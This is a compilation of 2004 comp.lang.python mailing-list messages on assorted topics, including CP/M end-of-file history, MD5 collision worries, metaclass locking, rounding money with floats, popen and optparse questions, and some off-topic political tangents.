> Good point.  Note for the picky: it doesn't just get stripped... it
> *is* the last character, even if there's data following.  Or to
> be blunt, ^Z (byte value 26) is treated as EOF on Windows when not
> using binary mode to read files.

<history> 

That's because CP/M allocated file space in blocks and only
kept track of the length of the file in blocks.  It was common
practice to mark the end of the "real" data in a text file with
a ^Z (IIRC, this was done by the application writing to the
file). Otherwise, you had no way of knowing _where_ in that
last block the data actually ended.

The original MS/PC-DOS was basically a CP/M clone. 

I presume CP/M copied that behavior from RSX-11 or RT-11, but
that's just an educated guess.

</history>

-- 
Grant Edwards                   grante             Yow!  My mind is making
                                  at               ashtrays in Dayton...
                               visi.com            


From dwall at fastmail.fm  Thu Sep  2 16:58:34 2004
From: dwall at fastmail.fm (David K. Wall)
Date: Thu, 02 Sep 2004 20:58:34 -0000
Subject: Xah Lee's Unixism
References: <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net>
	<slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<opsdpdzglzpqzri1@mjolner.upc.no>
	<slrncjep0f.oa.amajorel@vulcain.knox.com>
	<opsdpprvxppqzri1@mjolner.upc.no>
	<9pqej0tjtikajsa74c7a5el7quk49k053s@4ax.com>
Message-ID: <Xns9558ACB0EA0FFdkwwashere@216.168.3.30>

Alan Balmer <albalmer at att.net> wrote in message
<news:9pqej0tjtikajsa74c7a5el7quk49k053s at 4ax.com>: 

> On Thu, 02 Sep 2004 20:32:09 +0200, "John Thingstad"
><john.thingstad at chello.no> wrote:

>>I feel compelled to replay that Linux is based on the Posix
>>standard which is basically a recipie for writing unix. They did
>>not write a new operating system. They implemented a tested and
>>proven one. 

> Huh? Linux is only recently paying some attention to the POSIX
> standards. 

Linus deliberately tried to pay attention to the POSIX standard
almost as soon as he realized that his terminal emulator project
was turning into an OS. 1991 isn't all that long ago, but I'm 
not sure I would refer to it as "recent" in this context.

http://groups.google.com/groups?selm=1991Jul3.100050.9886%40klaava.Helsinki.FI


From kirk at eyegor.jobsluder.net  Mon Sep 13 00:32:08 2004
From: kirk at eyegor.jobsluder.net (Kirk Job-Sluder)
Date: Mon, 13 Sep 2004 04:32:08 GMT
Subject: MD5 and SHA cracked/broken...
References: <slrnck6boc.l77.mlh@furu.idi.ntnu.no>
	<slrncka03t.2a1q.kirk@eyegor.jobsluder.net>
	<7xacvuyjfn.fsf@ruckus.brouhaha.com>
	<slrncka36l.7cc.sholden@flexal.cs.usyd.edu.au>
	<7xzn3udfsg.fsf@ruckus.brouhaha.com>
Message-ID: <slrncka8l2.2ab9.kirk@eyegor.jobsluder.net>

On 2004-09-13, Paul Rubin <> wrote:
> Sam Holden <sholden at flexal.cs.usyd.edu.au> writes:
>> Creating a collision between a "useful" file which people can
>> examine and use and a "trojan" file which does "bad things" is
>> significantly more difficult than creating two files whose
>> MD5 sums collide but whose contents are essentially "random".
>
> Of course it's not.  Just have a block of random-looking data
> somewhere in the file, like in a bitmap image or something.  Who's
> going to notice, if the bitmap doesn't actually get displayed?


Mr. Sam Holden addressed the technical problems.  

But again, why bother when there are easier ways to get your malware out
into the wild?  You could play the odds and trust that a fair number of
people will install your software without checking MD5 sums or
signatures.  If you can plant the trojan, you can also plant your own
fake MD5 sums or signatures.  You can use phishing techniques to attract
people to your fake download site.  If anything the fair number of
recent viruses show that social engineering methods are still the best
way of making mischief than attacks on software or hardware.  

One of the more interesting aspects of the recent discoveries is that so
much attention has been placed on the least critical, least probable,
and least critical way to exploit these discoveries.  If you are going
to be paranoid, I'd be much less worried about malware using faked MD5
sums, and more worried about groups with the money, computing power, and
technical expertise to make practical use of these discoveries.

-- 
Kirk Job-Sluder
"The square-jawed homunculi of Tommy Hilfinger ads make every day an
existential holocaust."  --Scary Go Round


From twsnnva at msn.com  Fri Sep 10 13:02:11 2004
From: twsnnva at msn.com (twsnnva)
Date: Fri, 10 Sep 2004 13:02:11 -0400
Subject: Executing system commands with wxpython
Message-ID: <3dec2e051d82da31c9fe868669e3ce6d@localhost.talkaboutprogramming.com>

Could anyone give me an example (code) of a simple program with a button
that when clicked executes a linux shell or windows dos command like
"ifconfig" or "ipconfig" and prints the output somewhere in the same
window. Thanks.



From cjankowski at hbr-inc.com  Tue Sep  7 14:07:44 2004
From: cjankowski at hbr-inc.com (Chris Jankowski)
Date: 7 Sep 2004 11:07:44 -0700
Subject: ghostscript
Message-ID: <a1301a8e.0409071007.14ea6f5e@posting.google.com>

Hi all,
I am still fairly new to the Python community and world of Python
programming.

  I am having some trouble changing the output directory when I call
Ghostscript.
Any sugguestions would be greatly appreciated.  It seems to work fine,
if I put the file in a directory that I am calling it from, like
outputdir = './temp' or I use the "C" drive w/ outputdir = ''.  All I
am doing is converting a .pdf to a .tif.

device = 'jpeg'
print pdffile
pdffile = 'c:/Chris_J_Stuff/chris.pdf'
outputdir = "c:\\Chris_J_Stuff\\"
print pdffile
print outputdir
suffix = 'tif'
os.system(ghost_dir + ' -dNOPAUSE -dQUIET -sBATCH -sDEVICE=%s
-sOUTPUTFILE=%    s/page%%d.%s %s' % (device, outputdir,suffix,
pdffile))
        

Thank you in advance.

Chris J.


From max at alcyone.com  Sat Sep 25 02:11:50 2004
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 24 Sep 2004 23:11:50 -0700
Subject: random.choice returns the same value
References: <Xns956FCD15BC24nonenonecom@24.93.44.119>
Message-ID: <41550C26.18218493@alcyone.com>

Brian wrote:

> Any reason why random.choice would return the first value in a list
> everytime?

Because the list only has one element, or all the elements have the same
value?

-- 
 __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
/  \ San Jose, CA, USA && 37 20 N 121 53 W && AIM erikmaxfrancis
\__/ In Heaven all the interesting people are missing.
    -- Friedrich Nietzsche


From michele.simionato at gmail.com  Mon Sep 27 05:41:46 2004
From: michele.simionato at gmail.com (Michele Simionato)
Date: 27 Sep 2004 02:41:46 -0700
Subject: Metaclass to make all methods of a class thread-safe
References: <415728eb$0$78753$e4fe514c@news.xs4all.nl>
Message-ID: <4edc17eb.0409270141.4faf130c@posting.google.com>

Irmen de Jong <irmen at -nospam-remove-this-xs4all.nl> wrote in message news:<415728eb$0$78753$e4fe514c at news.xs4all.nl>...
> Hi,
> I've developed the Metaclass below, because I needed a way
> to make a bunch of classes thread-safe.
> I didn't want to change every method of the class by adding
> lock.aqcuire()..lock.release() around the existing code.
> So I made a metaclass that essentially replaces every method
> of a class with a 'wrapper' method, that does the locking,
> invocation, unlocking.
> 
> Is this the right approach? It seems to work fine. But I have
> very little experience with metaclass programming, so I'd like
> to hear some feedback.
> 
> Thanks !!
> 
> --Irmen de Jong.

Well, it looks okay, but consider the following:

1. you have a (metaclass) static method and a (metaclass) classmethod
   which could be replaced by simple functions external to the metaclass;
   this would make the code much easier to read and to understand; I don't
   buy the argument that they should logically stay in the metaclass, it
   is enough if they stay in the same module of the metaclass, not inside it;

2. the metaclass will automagically wrap even methods of subclasses, without
   you knowing it; consider using a naming convention (es. only methods
   starting with "t_" are magically wrapped); if still
   you want the magic, consider defining a name convention such as methods
   starting with a given prefix are NOT magically wrapped; 

4. built-in methods and all the objects which are non instances of FunctionType
   will be not wrapped; you may want this or not;
    
5. consider using decorators to wrap the methods you want to be
   thread safe: they a more esplicit and easier to understand solution;
   also in this way you will avoid the (possible) issue of metaclass 
   conflicts.

6. However, if you want to enhance a code which is already written
   with a minimal change of the source code, the metaclass is the 
   simplest solution indeed.

Just my 0.02c,

           Michele Simionato


From jepler at unpythonic.net  Tue Sep 28 17:57:01 2004
From: jepler at unpythonic.net (jepler at unpythonic.net)
Date: Tue, 28 Sep 2004 16:57:01 -0500
Subject: all pairs of items in a list without indexing?
In-Reply-To: <Pine.LNX.4.44.0409282255250.14797-100000@pingu.thwackety.com>
References: <d11dcfba04092813343e99fff6@mail.gmail.com>
	<Pine.LNX.4.44.0409282255250.14797-100000@pingu.thwackety.com>
Message-ID: <20040928215701.GA11275@unpythonic.net>

I think that Steven wants to generate all pairs of items in a list,
not successive pairs.  So for the input
    [1, 2, 3]
he wants
    [[1, 2], [1, 3], [2, 3]]
or some ordering of it, anyway.

I think that I would write
    def all_pairs(seq):
        l = len(seq)
        for i in range(l):
            for j in range(i+1, l):
                yield seq[i], seq[j]
(essentially the OP's first suggestion, but with 'len(seq)' prematurely
optimized out) Something about taking a slice of seq for the inner loop
doesn't seem right to me.

Jeff
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20040928/8e077abd/attachment.sig>

From robin.siebler at palmsource.com  Mon Sep 13 14:52:41 2004
From: robin.siebler at palmsource.com (Robin Siebler)
Date: 13 Sep 2004 11:52:41 -0700
Subject: Python or 4NT? With a question or two about popen()
References: <95c29a5e.0409121552.af6bdba@posting.google.com>
	<mailman.3231.1095080184.5135.python-list@python.org>
	<1cpo13uwxp8dq.dlg@thorstenkampe.de>
Message-ID: <95c29a5e.0409131052.556093db@posting.google.com>

> I'd consider IPython (state-of-the-art replacement for basic Python
> CLI) in "shell mode" ("This profile turns IPython into a lightweight
> system shell with python syntax").


I tried IPython some time ago, but it didn't quite work properly on
Windows.  Has that been fixed?


From justin__devine at hotmail.com  Fri Sep  3 15:07:41 2004
From: justin__devine at hotmail.com (Justin)
Date: 3 Sep 2004 12:07:41 -0700
Subject: Urlopen.urlretrieve(url, to) can it be canceled/stopped/killed
Message-ID: <chafdt$v1h@odak26.prod.google.com>

does anybody know if there is a way to stop urlretrieve mid transfer or
are you simply bound to finishing the file you are on?  If anybody
knows the answer to this let me know.  i have read all the docs and
there is a callback or reporthook function, but I am not sure if that
can be used to halt the progress and close the socket.

-Justin

This is the final feature on my first program
Thanks to all the help from all on comp.lang.python



From martin at v.loewis.de  Mon Sep 27 00:59:52 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Mon, 27 Sep 2004 06:59:52 +0200
Subject: emulating du with os.walk
In-Reply-To: <slrnclej7g.cl6.kirk@eyegor.jobsluder.net>
References: <slrnclej7g.cl6.kirk@eyegor.jobsluder.net>
Message-ID: <41579e43$0$9613$9b622d9e@news.freenet.de>

Kirk Job-Sluder wrote:
> There should be an easy way to get around this, or perhaps I'm better
> off just parsing the output of du.

I suggest that you don't use os.path.walk, but write a recursive
function yourself. You should find that the entire problem can
be solved in 12 lines of Python code.

Regards,
Martin


From ialbert at mailblocks.com  Wed Sep 22 16:18:54 2004
From: ialbert at mailblocks.com (Istvan Albert)
Date: Wed, 22 Sep 2004 16:18:54 -0400
Subject: Distutils and binaries without compilation
In-Reply-To: <mailman.3705.1095846576.5135.python-list@python.org>
References: <mailman.3705.1095846576.5135.python-list@python.org>
Message-ID: <a-ydnbjLBuCpQ8zcRVn-hg@giganews.com>

Mark English wrote:

> Who to believe...

both. funny eh?

Depends of which source code the C or the python one
did you not want to be included in the distribution.

Istvan.


From frithiof.jensen at diespammerdie.jensen.tdcadsl.dk  Mon Sep 20 03:28:38 2004
From: frithiof.jensen at diespammerdie.jensen.tdcadsl.dk (Frithiof Andreas Jensen)
Date: 20 Sep 2004 07:28:38 GMT
Subject: python vs c#
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<EPmdnagKPrUPhtPcRVn-iQ@giganews.com>
	<mailman.3529.1095642828.5135.python-list@python.org>
Message-ID: <414e86a6$0$183$edfadb0f@dread11.news.tele.dk>

julio <julioperezsosa at yahoo.com> wrote in 
news:mailman.3529.1095642828.5135.python-list at python.org:


> mail. Is people so close minded to resist change ? things change , is
> human's nature to resist the change.

*I*, for one, am not opposed to changing your face, Troll.


From peter at engcorp.com  Tue Sep 28 12:51:46 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 28 Sep 2004 12:51:46 -0400
Subject: using threads with for-loops
In-Reply-To: <3e96ebd7.0409280711.42ef328b@posting.google.com>
References: <3e96ebd7.0409280711.42ef328b@posting.google.com>
Message-ID: <va2dndnRbro_C8TcRVn-vw@powergate.ca>

Klaus Neuner wrote:
> Hello,
> 
> I wrote a program that does essentially the following:
> 
> for rule in rules:
> 	for line in line_list:
> 		line = my_apply(rule, line)
> 
> line_list contains the lines of some input text.
> 
> To "apply a rule" always means to
> 
>   1. do some regex matches on line
>   2. substitute something in line
> 
> My question is: Given this "architecture", does it make sense
> to use threads? And if so, how?

The code is (based on what you give above) "CPU bound",
which means you will not see any advantage in using
threads.  Threads don't magically make anything go
faster, and in fact have a certain overhead for the context
switch, so no, it makes no sense to use threads here.

-Peter


From toaster at compass-it.ch  Wed Sep  8 09:40:20 2004
From: toaster at compass-it.ch (jacques)
Date: 8 Sep 2004 06:40:20 -0700
Subject: run a python script located on linux from a windows computer
References: <F1921F85572CB04D9F55B14BDC76B3E4434A53@iron.ima.umn.edu>
	<mailman.2967.1094549283.5135.python-list@python.org>
Message-ID: <2cbc7d61.0409080540.cb4adf1@posting.google.com>

Alexander Hoffmann <alexander.hoffmann at netgenius.de> wrote in message news:<mailman.2967.1094549283.5135.python-list at python.org>...
> Hello Jacques,
> 
> On Tuesday 07 September 2004 11:05, Tim Golden wrote:
> > | -----Original Message-----
> > | From: toaster at compass-it.ch [mailto:toaster at compass-it.ch]
> > | Sent: 07 September 2004 09:52
> > | To: Tim Golden
> > | Subject: RE: run a python script located on linux from a windows
> > | computer
> > |
> > |
> > | hello tim
> > |
> > | ok i have a linux box running a 'Camera-Server'. There a several
> Do you mean there is some kind of hardware attached to the linux box ? In that 
> case I'm not sure if you will be happy with the scripts being run from a 
> remote environment, be it windows or linux. It MIGHT also fail because the 
> scripts try to access the local hardware. If so, consider using some emulator 
> like wine or vmware. I don't know if you really succeed this way but it may 
> be worth trying.
> 
> Good luck,
> Alex
> 
> > | test-scripts. When i try to run them under linux i got a plenty of
> > | errors. So i want to launch then from the windows box. so i have a
> > | script in /opt/videoserver/testing/myscript.py
> > |
> > | how can i launch this script from my win box?
> > |
> > | thank you
> > | jacques
> >
> > [I've copied your reply back to the list to make sure
> > the conversation remains visible]
> >
> > Someone else has just suggested running a Samba server,
> > which would let you map the linux drive on the Windows
> > box. You'd end up running something like:
> >
> > C:\> python X:\testing\myscript.py
> >
> > Is that what you were after?
> >
> > BTW, what makes you think that running your scripts on
> > a Windows box will make the errors go away?
> >
> > TJG
> >
> > ________________________________________________________________________
> > This e-mail has been scanned for all viruses by Star. The
> > service is powered by MessageLabs. For more information on a proactive
> > anti-virus service working around the clock, around the globe, visit:
> > http://www.star.net.uk
> > ________________________________________________________________________


Thank you for your help... i had luck and i got the script running on
my linux box :)


From agriff at tin.it  Thu Sep  2 07:56:25 2004
From: agriff at tin.it (Andrea Griffini)
Date: Thu, 02 Sep 2004 11:56:25 GMT
Subject: Basic tokenizer
References: <Xns95578D624E7ADdaleriverhallsystems@192.168.8.150>
	<mailman.2754.1094103605.5135.python-list@python.org>
Message-ID: <dr1ej05htuepi5hr766g0nf6ho1jpe31te@4ax.com>

On Thu, 2 Sep 2004 08:24:19 +0200, "Miki Tebeka"
<miki.tebeka at zoran.com> wrote:

>There are several parsing/lexing packages for Python. My favorite is PLY
>(http://systems.cs.uchicago.edu/ply/).

I gave it a very quick look and I've to say that I was
impressed... but it wasn't a good impression.

For example the pycalc.py example is just a few lines
shorter than a recursive descent parser that implements
a similar calculator *without importing any module, not
even "re"*. If implementing something from scratch requires
the same amount of code than using a tool I begin wondering
what's the point in using such a tool.

I was told that the good point about parser generators
is that at least you can be sure the code is correct.

Try feeding "10/2" or ")" to pycalc.py ... :-(

Andrea



From albalmer at att.net  Fri Sep 10 11:21:27 2004
From: albalmer at att.net (Alan Balmer)
Date: Fri, 10 Sep 2004 08:21:27 -0700
Subject: Xah Lee's Unixism
References: <413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
	<opsd2vlvy7pqzri1@mjolner.upc.no>
	<1549.748T655T9283520@kltpzyxm.invalid>
Message-ID: <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com>

On 09 Sep 04 15:28:13 -0800, "Charlie Gibbs" <cgibbs at kltpzyxm.invalid>
wrote:

>It's been revealed that here in British Columbia (that part of
>Canada on the Pacific coast for those of you who are geographically
>challenged), management of medical information has been farmed out
>to a subsidiary of a U.S. corporation.  According to the Patriot Act,
>the U.S. government is entitled to access these files, and anyone -
>American or Canadian - who so much as mentions that they're doing it
>can be thrown into a U.S. jail.

Can you point to the relevant section(s) of the Act?

Can you point to the international agreement which allows Canadian
citizens to be thrown into US jails for the stated offense?

-- 
Al Balmer
Balmer Consulting
removebalmerconsultingthis at att.net


From dperl at rogers.com  Wed Sep  1 12:19:57 2004
From: dperl at rogers.com (Dan Perl)
Date: Wed, 01 Sep 2004 16:19:57 GMT
Subject: initializing mutable class attributes
References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com><1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com><eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com><1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com><8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com><1gjfkp7.aepmjg11ubf2rN%aleaxit@yahoo.com><iolZc.115894$pTn.53552@news01.bloor.is.net.cable.rogers.com>
	<mailman.2726.1094051698.5135.python-list@python.org>
Message-ID: <NEmZc.158135$UTP.117026@twister01.bloor.is.net.cable.rogers.com>

Sorry, Anthony, but I don't think that is relevant for my example.  I wasn't
referring to replacing the superclass with another one, which is where
'super( )' would have been useful because it detects the superclass only at
run-time.  I was referring to changing the implementation of the superclass,
in which case 'super( )' doesn't make any difference.

See, however, a posting from Jorge Godoy, where he makes the great point
that the problem is removed by always subclassing the base class from
'object'.  So the new-style class mechanism is taking care of this problem.

Dan

"Anthony Baxter" <anthonybaxter at gmail.com> wrote in message
news:mailman.2726.1094051698.5135.python-list at python.org...
> On Wed, 01 Sep 2004 14:54:06 GMT, Dan Perl <dperl at rogers.com> wrote:
> > Not in Python.  A user of my library has to invoke the parent's class
> > __init__ in their own __init__.  What happens if, in a future release, I
get
> > rid of the __init__ in the parent class?  Or the other way around.  An
early
> > release does not have a parent __init__, the users don't invoke it
because
> > they can't, and then, in a future release, I add the parent __init__
because
> > I added some attributes.  It breaks all the users' code.  This is poor
> > encapsulation.
>
> Use 'super()', in that case.
>
> http://www.python.org/dev/doc/devel/lib/built-in-funcs.html#l2h-70




From peter at engcorp.com  Wed Sep 22 08:22:23 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 22 Sep 2004 08:22:23 -0400
Subject: Why not FP for Money?
In-Reply-To: <41512635$0$94916$5a6aecb4@news.aaisp.net.uk>
References: <cc887c1d.0409202325.76ec2227@posting.google.com>
	<41512635$0$94916$5a6aecb4@news.aaisp.net.uk>
Message-ID: <xOOdnU8Xk6Lj88zcRVn-pA@powergate.ca>

John Burton wrote:
> "Chris Barker" <Barkmann at gmail.com> wrote:
>>I've seen it suggested various times that one should use fixed point
>>for money, perhaps micro cents represented as integers. However, if
>>you do that, you need to make sure you do all the rounding correctly.
> 
> On my version of python:
> 
> # I spent ?1 and 13 pence
> p = 1.13
> 
> # How many pence is that?
> print int(p*100)
> 112
> 
> # Oops
> 
> You don't need quadrillions of dollars before you run into a value which 
> can't be represented in a floating point value to such a degree that the 
> rounding comes out wrong.  Yes you could probably "fix" the rounding to make 

At the risk of sounding like I might be supporting the idea of
using floats (which I'm not):

c:\>python
 >>> p = 1.12
 >>> print round(p*100)
112.0
 >>> print int(round(p*100))
112


int() doesn't do rounding, it truncates.  If you actually *do* round,
it tends to work just fine.  If all operations ended with a call to
round(), the floating point idea would not really be as bad as you
suggest here...  but it's still a bad idea. :-)

-Peter


From elainejackson7355 at home.com  Fri Sep 24 19:00:32 2004
From: elainejackson7355 at home.com (Elaine Jackson)
Date: Fri, 24 Sep 2004 23:00:32 GMT
Subject: Drawing sound
References: <ttNMvZB0zGVBFwRQ@[127.0.0.1]>
Message-ID: <kG15d.92212$%S.73186@pd7tw2no>

It sounds like you are looking for something along the following lines:

<QUOTE>
The Snack Sound Toolkit is designed to be used with a scripting language such as
Tcl/Tk or Python. Using Snack you can create powerful multi-platform audio
applications with just a few lines of code. Snack has commands for basic sound
handling, such as playback, recording, file and socket I/O. Snack also provides
primitives for sound visualization, e.g. waveforms and spectrograms. It was
developed mainly to handle digital recordings of speech, but is just as useful
for general audio. Snack has also successfully been applied to other
one-dimensional signals.
</QUOTE>

If so, you can download it from here:

http://www.speech.kth.se/snack/

HTH

"Chris" <nospam@[127.0.0.1]> wrote in message
news:ttNMvZB0zGVBFwRQ@[127.0.0.1]...
| I want a program that can "draw" sound.
|
| Imagine drawing a graph of frequency against time -
| and then being able to play it over the computer speakers.
|
| Can this be done in Python?
|
| As a start, consider this simple QBASIC program that generates random
| frequencies:
|
| 10 frequency = 40 + 400 * RND
| 20 SOUND frequency, 7
| 30 GOTO 10
|
| That's fine - except that it plays over the PC speaker - the one that's
| just there for the happy beep - and not through the sound card and
| proper speakers.
|
| Can that be done in Python?
| Or in any other language?
| --
| Chris




From http  Sun Sep 19 04:07:01 2004
From: http (Paul Rubin)
Date: 19 Sep 2004 01:07:01 -0700
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<cihrab$1v8$02$1@news.t-online.com>
Message-ID: <7xwtyqsmvu.fsf@ruckus.brouhaha.com>

Peter Otten <__peter__ at web.de> writes:
> Starting with Python 2.4 there will be the 'decimal' module supporting
> "arithmetic the way you know it":
> 
> >>> from decimal import *
> >>> Decimal("12.10") + Decimal("8.30")

I haven't tried 2.4 yet.  After

    a = Decimal("1") / Decimal("3")
    b = a * Decimal("3")
    print b

What happens?  Is that arithmetic as the way I know it?


From godoy at ieee.org  Sun Sep  5 11:43:00 2004
From: godoy at ieee.org (Jorge Godoy)
Date: Sun, 05 Sep 2004 12:43:00 -0300
Subject: Module name conflict with standard library
References: <87k6v9o8cg.fsf@news2.ososo.de>
	<4edc17eb.0409042332.5730eed7@posting.google.com>
	<mailman.2889.1094371653.5135.python-list@python.org>
	<10jlqmr85klsb0a@news.supernews.com> <87r7pg4uvo.fsf@news2.ososo.de>
Message-ID: <m3wtz8en7f.fsf@g2ctech.com>

Felix Wiemann <Felix.Wiemann at gmx.net> writes:

> Nigel Rowe wrote:
>
>> In the mean time [until PEP 328 is implemented], 
>>
>>         http://hkn.eecs.berkeley.edu/~dyoo/python/__std__
>>
>> can help at least some of the problems.
>
> This doesn't always work:
>
> $ cat random.py
> from __std__ import random
>
> $ python random.py  # this works
>
> $ cat curses.py
> from __std__ import curses
>
> $ python curses.py  # this does not work
> Traceback (most recent call last):
>   File "curses.py", line 1, in ?
>     from __std__ import curses
>   File "/usr/lib/python2.3/curses/__init__.py", line 16, in ?
>     from curses.wrapper import wrapper                        <--- Uh-oh
>   File "/var/home/felix/tmp/curses.py", line 1, in ?
>     from __std__ import curses
> ImportError: cannot import name curses
>
> So I hope that absolute imports will get implemented in Python 2.4.  I
> think I'll name my module 'Curses', as John suggested (even if that's
> asking for trouble on Windows systems).

Do you really need to use the same name?  How about something like
"mCurses" (myCurses) or "oCurses" (own Curses), etc. ? 

It avoids the name clash on Windows and states that you are really not
referring to the standar curses module.

Avoiding to use an already existing name is good and it is even better
when you are using a name tha tis available at the standard library.
Not following this might cause more harm than good in the long run (or
short run, as you've noticed already). 


Be seeing you,
-- 
Godoy.     <godoy at ieee.org>


From proto at panix.com  Thu Sep 16 11:57:31 2004
From: proto at panix.com (Walter Bushell)
Date: Thu, 16 Sep 2004 11:57:31 -0400
Subject: Xah Lee's Unixism
References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<4140688e$0$6912$61fed72c@news.rcn.com>
	<flrphc.tlk1.ln@via.reistad.priv.no> <4140A885.90B945AC@yahoo.com>
	<4jkqhc.p7p1.ln@via.reistad.priv.no> <tqm7jqwrdxc.fsf@drizzle.com>
Message-ID: <proto-1E36DE.11573116092004@reader1.panix.com>

In article <tqm7jqwrdxc.fsf at drizzle.com>,
 Patrick Scheible <kkt at drizzle.com> wrote:

> Morten Reistad <firstname at lastname.pr1v.n0> writes:
> 
> > I do not agree. Kennedy and  Clinton had a lousy foreign-policy
> > record. The Bay of Pigs, Vietnam, the Cuba crisis were all 
> > examples of glorious miscalculations. Ditto Rwanda, Somalia, and
> > the 
> 
> Vietnam was certainly a catastrophe, but the blame goes to Johnson,
> not Kennedy.  There were only a few thousand U.S. troops in training
> and advisory roles in Vietnam by Kennedy's assassination.  Johnson
> decided to escalate the war and have U.S. forces fight directly.
> 
> Even the best presidents can't have nothing but successes.  The Bay of
> Pigs was a failure, but at least Kennedy didn't compound the mistake
> by sending in U.S. troops where Cuban expats failed.
> 
> -- Patrick

His mistake, was IIRC, promising air cover and then not delivering. Hey, 
that's a mistake that has been made by real military leaders.

-- 
Guns don't kill people; automobiles kill people.


From mauriceling at acm.org  Thu Sep  2 19:10:11 2004
From: mauriceling at acm.org (Maurice LING)
Date: Thu, 02 Sep 2004 23:10:11 GMT
Subject: compiling to python byte codes
In-Reply-To: <41375f6a$0$13076$9b622d9e@news.freenet.de>
References: <4136b2b5$1@news.unimelb.edu.au>
	<4136bbf3$0$197$9b622d9e@news.freenet.de>
	<6f402501.0409020321.44fd443@posting.google.com>
	<41375f6a$0$13076$9b622d9e@news.freenet.de>
Message-ID: <4137a850$1@news.unimelb.edu.au>

Hi Martin,

Martin v. L?wis wrote:
> Michael Foord wrote:
> 
>> But that still doesn't answer the OPs question which is about writing
>> code in another language to generate python bytecode....
> 
> 
> I did. I told him about the compile() function, and indeed,
> 
> compile("2+4","<string>","eval")
> 
> generates Python bytecode.

Can I feed a python source file into compile(), line by line, and expect 
it to generate a working .pyc file? I suppose my intended use is to be 
able to handle python codes written at run time, to execute python codes 
line by line, in a python program. It is somewhat like a tracer routine 
that can interpret a line of python code, read out the variables, before 
going to the next line of python code. Can compile() do this, or do I 
have to use pexpect to run an instance of python?

> 
>> Is python bytecode *that* different to Java bytecode (not in detail
>> but in concept ?).
> 
> 
> Yes. Java bytecode is typed; Python bytecode is not.
> 
>> There's no reason why another compiler couldn't
>> emit python bytecode to run on the 'python virtual machine' ?

I was thinking that it may be simpler to say, write a PHP-to-Python 
compiler which compiles PHP into an intermediate form, which is then 
converted into python bytecodes, rather than trying to automate source 
code conversion from PHP to Python. Well, PHP is just an off-hand 
example, it may be COBOL or Pascal. Any ideas?

Regards
Maurice

> 
> 
> It is certainly possible. Indeed, the Python compiler does generate
> Python bytecode from source code, so it must be possible :-)
> 
> Regards,
> Martin
> 


From ml at dynkin.com  Sat Sep 18 18:23:17 2004
From: ml at dynkin.com (George Yoshida)
Date: Sun, 19 Sep 2004 07:23:17 +0900
Subject: optparse question
In-Reply-To: <0W13d.272974$OR2.12451641@news3.tin.it>
References: <qa13d.272825$OR2.12440578@news3.tin.it>
	<cii8g3$2op8$1@dojima-n0.hi-ho.ne.jp>
	<0W13d.272974$OR2.12451641@news3.tin.it>
Message-ID: <ciicf1$2q7h$1@dojima-n0.hi-ho.ne.jp>

GMTaglia wrote:

> I think it will be better if only the *exact* option will match, it will
> avoid typing mistakes and/or accidentally wrong matches, imho.
> 

I think this is because getopt module is designed as a pure Python 
implementation of Unix(Linux?) getopt function.

I tested the sample code in C and it handled long options as 
Python does.

George


From db3l at fitlinxx.com  Thu Sep 16 15:32:58 2004
From: db3l at fitlinxx.com (David Bolen)
Date: 16 Sep 2004 15:32:58 -0400
Subject: yet another os.popen quesion
References: <a8dfce8c.0409131906.fc42dc8@posting.google.com>
Message-ID: <u7jquau1h.fsf@fitlinxx.com>

matt.torment at gmail.com (Matthew K Jensen) writes:

> I've been trying to find a way to detect when a command run by
> os.popen (or similar) has completed (in Windows, btw). I found such a
> function (i don't remember the exact name and library), but the said
> function was only availible for UNIX, for which I am not currently
> making programs for (but soon plan to). Any ideas?

If you stick with popen (not sure what "similar" is), one approach, if
you don't mind blocking, is just to close your end of the pipe.  Under
windows, the result of the close (or in the case of the popen#
functions, the last handle close) will return the result of the child
process, so if the child process hasn't yet terminated, it will block
until the child process does terminate.

Note that if the child process is generating output, you'll probably
want to drain the output (in which case the read will let you know
when the child has exited and closed its end of the pipe) or else
there's some risk the child could block if its output buffers fill,
and never exit yourself, which would be a deadlock condition.

-- David


From zanesdad at bellsouth.net  Thu Sep 23 07:03:24 2004
From: zanesdad at bellsouth.net (Jeremy Jones)
Date: Thu, 23 Sep 2004 07:03:24 -0400
Subject: Comparation to other languages
In-Reply-To: <d8025bdb.0409230127.369f63c3@posting.google.com>
References: <d8025bdb.0409230127.369f63c3@posting.google.com>
Message-ID: <4152AD7C.8020709@bellsouth.net>

Abdullah Khaidar wrote:

>I've read some language -include python- comparation texts
>(benchmarks). But they are very old, so that I'm doubt about their
>results. Does anyone know language comparation texts which compare
>recent version of python -python 2.3- with some other languages?
>
>M. Abdullah Khaidar
>-- http://khaidarmak.blogspot.com
>  
>
You probably want "The Great Computer Language Shootout" at 
http://shootout.alioth.debian.org/.  Complete with code examples for 
each benchmark.  It says they are using Python 2.3.4.  It even has Psyco 
thrown into the mix. 


